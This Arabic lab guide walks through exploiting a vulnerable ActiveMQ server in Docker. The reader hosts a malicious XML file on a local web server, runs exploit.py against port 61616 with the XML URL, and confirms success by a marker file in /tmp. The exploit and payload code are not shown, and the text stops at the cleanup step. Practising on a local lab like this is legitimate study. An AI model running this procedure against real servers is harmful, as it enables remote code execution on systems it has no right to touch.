🚀 دليل الاستخدام خطوة بخطوة

الخطوة 1: تشغيل الضحية (ActiveMQ)

سنقوم بتشغيل إصدار قديم وضعيف من ActiveMQ باستخدام Docker.

1. افتح محطة طرفية.
2. انتقل إلى مجلد vulnerable-env:
   root@kitploit:~

   cd vulnerable-env
   

3. ابدأ الحاوية:
   root@kitploit:~

   docker-compose up -d
   

4. انتظر 30 ثانية حتى يبدأ الخادم بالكامل.

الخطوة 2: استضافة XML الضار

يحتاج الخادم الضحية إلى تنزيل التعليمات منا. سنقوم بإعداد خادم ويب صغير لاستضافة هذه التعليمات.

1. افتح محطة طرفية ثانية.
2. انتقل إلى مجلد attacker:
   root@kitploit:~

   cd attacker
   

3. ابدأ خادم الويب بايثون:
   root@kitploit:~

   python3 serve.py
   

   احتفظ بهذه المحطة مفتوحة! يجب أن ترى "Serving HTTP on 0.0.0.0 port 8000..."

الخطوة 3: تشغيل الاستغلال

الآن نرسل حزمة الشبكة المحددة التي تؤدي إلى تفعيل الثغرة.

1. افتح محطة طرفية ثالثة.

2. انتقل إلى مجلد attacker:

   root@kitploit:~

   cd attacker
   

3. شغّل نص الاستغلال. ملاحظة: إذا كنت على macOS أو Windows، استخدم الأمر أدناه كما هو تمامًا.

   root@kitploit:~

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   مستخدمي Linux: إذا كنت على Linux، استبدل host.docker.internal ببوابة جسر الشبكة، عادةً: 172.17.0.1. حاول الحصول على العنوان بهذه الطريقة إذا لم يعمل المذكور: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

الخطوة 4: التحقق من الاختراق

هل نجح؟ دعنا نتحقق مما إذا كان الملف قد تم إنشاؤه داخل الحاوية.

1. عد إلى محطتك الأولى (أو أي محطة).
2. شغّل هذا الأمر للتحقق من مجلد /tmp داخل الضحية:
   root@kitploit:~

   docker exec activemq-victim ls -l /tmp
   

3. النجاح: يجب أن ترى ملفًا باسم pwned_by_ssp_team.

🧹 التنظيف

لإيقاف وإزالة الحاوية الضعيفة: